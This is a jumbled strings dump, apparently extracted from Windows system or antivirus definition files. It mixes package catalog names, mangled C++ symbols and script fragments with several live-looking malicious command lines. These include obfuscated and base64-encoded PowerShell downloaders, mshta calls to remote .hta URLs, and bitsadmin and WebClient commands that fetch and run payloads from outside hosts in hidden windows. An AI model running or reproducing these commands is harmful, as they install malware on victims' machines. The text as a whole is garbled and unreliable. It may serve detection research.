c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m##s###h###ta####h##t#t#ps##:##/##/##ah#-#sc#an##n#i#ng#.##o###s##s#-c#n##-###ho#n##gk#o###n#g###.###a##l##i###yu###nc##s##.###co###m#/##c#o##s###'-replace'#')
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m#s##h###t#a###ht#t#p##s###:###/###/##ah###-s#ca#n###n##i###n##g#.#os###s##-##c#n###-##h#o##n##gk##o###n##g###.###a###l###i##y#u###n###c#s#.#c###o#m###/#c###o###s#'-replace'#')
c:\windows\system32\windowspowershell\v1.0\powershell.exe-win1do{$n+=1;echo$n}while($n-lt1488);write-host
c:\windows\system32\windowspowershell\v1.0\powershell.exe-win1do{$n+=1;echo$n}while($n-lt1488);write-host
^2c:\windows\system32\windowspowershell\v1.0\powershell.exe-win1do{$n+=1;echo$n}while($n-lt1488);write-host
c:\windows\system32\windowspowershell\v1.0\powershell.exe-win
muc:\windows\system32\windowspowershell\v1.0\powershell.exe-win
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noninteractive-windowstylehidden-noprofileinvoke-expression([system|
Microsoft.Windows.Shell.DefaultAssoc
Microsoft.Windows.Shell.FileExplorer.Banners
Microsoft.Windows.Shell.MountPoint
WindowsDeleteString
 @Windows.Data.Apps.FileInfo
 @Windows.Data.Apps.AppCompatInfo
Microsoft-Windows-Client-Features-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
||windowsupdate|systeminfo;netstat -na
gc:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicybypass-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8aygbvagwaaqbiageaywboageabgauagmabwbtac8azwauahqaeab0accakqagahwaiabjag4adgbvagsazqataeuaeabwahiazqbzahmaaqbvag4a
System.Windows.Controls.PrimitivesTrafficlight
"inishortround.pdb\windows\currentversion\sontagfl
"'sysadminnews.infowindowsupdatecdn.com\BackDorLast\cmd.exe /C ping 1.
nul&c:\\users\\public\\xkn-windowstylehidden-nologo-command(new-objectsystem.net.webclient).downloadfile('https://www.conaldesa.com.co/wpadmin/wifpblrkhvgcyp.exe','c:\users\public\png.exe')
r\windows\system32\windowspowershell\v1.0\powershell.exer.$env:c:\?i*\s*3?\m*ta.e*('http://193.33.195.152:3000/rublikat'+'.h'+'ta')<c:\programfiles(x86)\microsoft\edge\application\msedge.exe
Lc:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/priorityforegroundhttps://mydoc.ngrok-free.app/output.bat"%temp%\\output.bat"&&start"""%temp%\\output.bat"
c:\windows\system32\cmd.exe/c"ie4uinit.exe-basesettings&&bitsadmin.exe/transfermydownloadjob/download/prioritynormalhttps://robloxplayerclient.org/qr.txt%temp%\qr.txt&&start%temp%\qr.txt"
%Microsoft Windows Production PCA 2011
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Licenses-IoTEnterpriseK-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|rosoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@I@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@U?$IIterator@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@IUcollection_version@23@@winrt@@U?$IIterator@I@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-WinOcr-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
WRL@Microsoft@@$00$0A@$0A@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAUIInspectable@@@Foundation@Windows@@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastDismissedEventArgs@234@@56@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastFailedEventArgs@234@@56@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAUIInspectable@@@Foundation@Windows@@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastDismissedEventArgs@234@@56@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastFailedEventArgs@234@@56@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastFailedEventArgs@234@@Foundation@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastDismissedEventArgs@234@@Foundation@Windows@@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastFailedEventArgs@234@@56@@Details@WRL@Microsoft@@
.?AU?$ITypedEventHandler_impl@U?$AggregateType@PEAVToastNotification@Notifications@UI@Windows@@PEAUIToastNotification@234@@Internal@Foundation@Windows@@U?$AggregateType@PEAVToastFailedEventArgs@Notifications@UI@Windows@@PEAUIToastFailedEventArgs@234@@234@@Foundation@Windows@@
.?AU?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastFailedEventArgs@234@@Foundation@Windows@@
.?AU?$ITypedEventHandler_impl@U?$AggregateType@PEAVToastNotification@Notifications@UI@Windows@@PEAUIToastNotification@234@@Internal@Foundation@Windows@@PEAUIInspectable@@@Foundation@Windows@@
.?AU?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAUIInspectable@@@Foundation@Windows@@
.?AU?$ITypedEventHandler_impl@U?$AggregateType@PEAVToastNotification@Notifications@UI@Windows@@PEAUIToastNotification@234@@Internal@Foundation@Windows@@U?$AggregateType@PEAVToastDismissedEventArgs@Notifications@UI@Windows@@PEAUIToastDismissedEventArgs@234@@234@@Foundation@Windows@@
.?AU?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastDismissedEventArgs@234@@Foundation@Windows@@
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
powershell.exe&-noninteractive-windowstylehidden-noprofileinvoke-expression([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('jhbhdgggpsakzw52olrftvagkyanxefuesboyw1llmv4zsc7ichozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50ks5eb3dubg9hzezpbguoj2h0dha6ly90cnvllmdoyw5hc21hcmtldc5jb20vbwvkawevbnnpci5legunlcakcgf0ack7ihn0yxj0icrwyxroow=='))
DriverData=C:\Windows\System32\Drivers\DriverData
WindowsFeedback
.?AUIStorageProviderMoreInfoUI@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderStatusUI@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderQuotaUI@Provider@Storage@Windows@ABI@@
.?AU?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@
.?AU?$implements@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$producers_base@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@V?$tuple@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$produce@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IReference@UColor@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$heap_implements@U?$reference@UColor@UI@Windows@winrt@@@impl@winrt@@@impl@winrt@@
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.Security.EFS.EfsLib
WINDOWS11       
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft.Windows.InteractiveCtrl
ystemRoot\System32\drivers\clipsp.sys
\SystemRoot\system32\drivers\iorat_L
\SystemRoot\System32\drivers\winhvr.sys
Microsoft.Windows.FileSystem.Fat
Microsoft.Windows.FileSystem.Udfs
Microsoft.Windows.Storage.Crashdmp
Microsoft.Windows.WebDefense.InputMonitor
Microsoft.Windows.Win32kBase.Input
NtUserGetProcessWindowStation
inrt::Windows::Foundation::IInspectable&>(const struct winrt::Windows::Foundation::IInspectable &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::Windows::Foundation::Collections::ValueSet>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::ValueSet> &) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<bool> &)
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::PhoneBrokerUtilsT<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::PhoneBrokerUtils,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::PhoneBrokerUtils>::ActivateInstance(void) const
struct winrt::Windows::Foundation::IReference<unsigned char> __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IReference<unsigned char>,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<bool>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<bool> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> >::Cancel(void) const
6*struct winrt::Windows::Foundation::IReference<struct winrt::hstring> __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IReference<struct winrt::hstring>,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::impl::consume_Windows_Foundation_IPropertyValueStatics<struct winrt::Windows::Foundation::IPropertyValueStatics>::CreateString(const struct winrt::param::hstring &) const
SYSTEM\CurrentControlSet\services\ebproSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360se6.exe!#ALF:Trojan:Win32/Mikey!AMTB
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickAction>
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Platform.ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows.Data.Platform.ItemReference<Windows.Data.QuickActions.QuickActionGroup>
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
\windows\
.run("c:\windows\
'start-process-windowstylehiddenpower
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
pcshell\shell\windows.ui.shell\broker\startui\lib\startplaceslauncher.cpp
pcshell\shell\windows.ui.shell\broker\startui\lib\usertileinfo.cpp
pcshell\shell\windows.ui.shell\broker\startui\lib\usertilecommand.cpp
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
1C:\WINDOWS\SYSTEM32\PRESENTATIONHOSTPROXY.DLL>.
C:\WINDOWS\SYSTEM32\PORTABLEDEVICEWIACOMPAT.DLL>0
gions)===null||i===void 0?void 0:i.length)>0&&!n.contains(n.config.storeAppEnabledRegions,n.Host.getRegion().toLowerCase())?!1:n.config.enableWinStoreAppDataProvider&&!(n.config.isDMARegion||r())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(50065374))&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56021392))&&(t?((u=t.queryToFetch)===null||u===void 0?void 0:u.length)>=1:!0)}function fc(t){var i;return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockContactData)?n.config.enableContactStoreDataProvider:n.config.enableContactStoreDataProvider&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(59968371))&&((i=t===null||t===void 0?void 0:t.queryToFetch)===null||i===void 0?void 0:i.length)>=1}function ec(t){var i,u;return((i=_G===null||_G===void 0?void 0:_G.Mkt)===null||i===void 0?void 0:i.toLowerCase())!="en-us"?!1:n.config.enableLocalASTrie&&((u=t===null||t===void 0?void 0:t.queryToFetch)===null||u===void 0?void 0:u.length)>0&&!n.config.isDMARegion&&!r()}function oc(t){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockRSHData)?n.isDataSourceEnabled("RSH",t):n.config.enableRecallProvider&&((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(54798046))||(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(58176961)))&&n.Host.getRSHEnabledBuild()||!1}function lu(t){const i=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return n.isTrendingSearchEnabled()&&ct(t)&&(i!=1&&!n.config.enableEnterpriseTrending||i==1&&n.config.enableEnterpriseTrending)&&n.RuntimeConfig.QfMode!=0&&n.RuntimeConfig.QfMode!=11&&n.RuntimeConfig.QfMode!=4&&!n.isTSFallbackToANA}function sc(){var t;const i=(t=n.Host.getRegion())===null||t===void 0?void 0:t.toLowerCase(),r=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return n.config.enableTSInSearchBox&&i==="cn"&&r!=1&&(n.isSearchPointsOfFlexibilityEnabled===null||n.isSearchPointsOfFlexibilityEnabled===void 0?void 0:n.isSearchPointsOfFlexibilityEnabled())}function hc(){const t=n.loadTSContentFromWSBCache();if(t){const{cacheTime:r,trendingSearchSuggestions:i}=t;i&&i.length>0&&(i.push(i.shift()),n.setTSContentToCache({cacheTime:r,trendingSearchSuggestions:i}))}}function cc(){var t,i;return st==undefined&&(i=(t=n.LightweightStorage.getItem(au))!==null&&t!==void 0?t:!1,st=i&&i.toLowerCase()=="true"),st}function lc(t){st=t;n.LightweightStorage.setItem(au,t.toString());n.InstrumentationHelper.logClientInstEvent("Select","SetTSInSB",n.SequenceNumberManager.getSequenceNumber(),{state:t.toString()})}function ac(){var t,i,u,f,e,o,s,h;if(r())return"";const c=n.LightweightStorage.getItem("DSBV2MERGEDCLIENTKEY");if(!c)return"";try{const n=JSON.parse(c),r=(h=(s=(o=(e=(f=(u=(i=(t=n===null||n===void 0?void 0:n.response)===null||t===void 0?void 0:t.ContentCollection)===null||i===void 0?void 0:i[0])===null||u===void 0?void 0:u.Data)===null||f===void 0?void 0:f[0])===null||e===void 0?void 0:e.Cards)===null||o===void 0?void 0:o[0])===null||s===void 0?void 0:s.FieldsStore)===null||h===void 0?void 0:h.GleamData;return r?JSON.stringify(r):""}catch(l){return tt("getDefaultGleamContent",null,new Error(l)),""}}function vu(){const n=new Date(Date.now()+2592e5);return n.toISOString().slice(0,19)+"Z"}function vc(){const t=vu(),i=n=>{const t=Date.now().toString(16),i=Math.floor(Math.random()*4294967295).toString(16).padStart(8,"0");return`${n}${t}-${i}`};let r={schemaVersion:"1.0.0",expirationTime:t,telemetryId:i("COPYSEARCH."),content:{taskbarSearchBox:{gleam:{altText:n.config.keepDefaultPht?n.Host.getLocString("DefaultTaskbarPHT"):n.Host.getLocString("CopySearchPHT"),dimensionEnum:"30x60",invokeAction:{type:"searchHome"},tooltip:n.config.keepDefaultPht?n.Host.getLocString("DefaultTaskbarPHT"):n.Host.getLocString("CopySearchPHT"),hoverAction:{
Sy@%Systemroot%\system32\wbem\wmiapsrv.exe,-110
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-320p
stemRoot%\System32\SEMgrSvc.dll,-1001
@%ProgramFiles%\Windows Defender Advanced Threat Protection\MsSense.exe,-1001
@%SystemRoot%\system32\SensorDataService.exe,-101
@%SystemRoot%\System32\sensrsvc.dll,-1000
@%SystemRoot%\system32\ipnathlp.dll,-106H
@%SystemRoot%\System32\Windows.SharedPC.AccountManager.dll,-100
@%SystemRoot%\System32\smphost.dll,-102
@%SystemRoot%\System32\SmsRouterSvc.dll,-10001
@%SystemRoot%\system32\sstpsvc.dll,-200
@%SystemRoot%\System32\swprv.dll,-103
@%SystemRoot%\system32\tapisrv.dll,-10100
@%SystemRoot%\System32\termsrv.dll,-268
@%SystemRoot%\system32\wiaservc.dll,-9
@%SystemRoot%\system32\svsvc.dll,-101
@%SystemRoot%\system32\TieringEngineService.exe,-702
@%SystemRoot%\system32\MitigationClient.dll,-103P
@%systemroot%\system32\AgentService.exe,-102
@%SystemRoot%\system32\umrdp.dll,-1000
@%systemroot%\system32\upnphost.dll,-213(
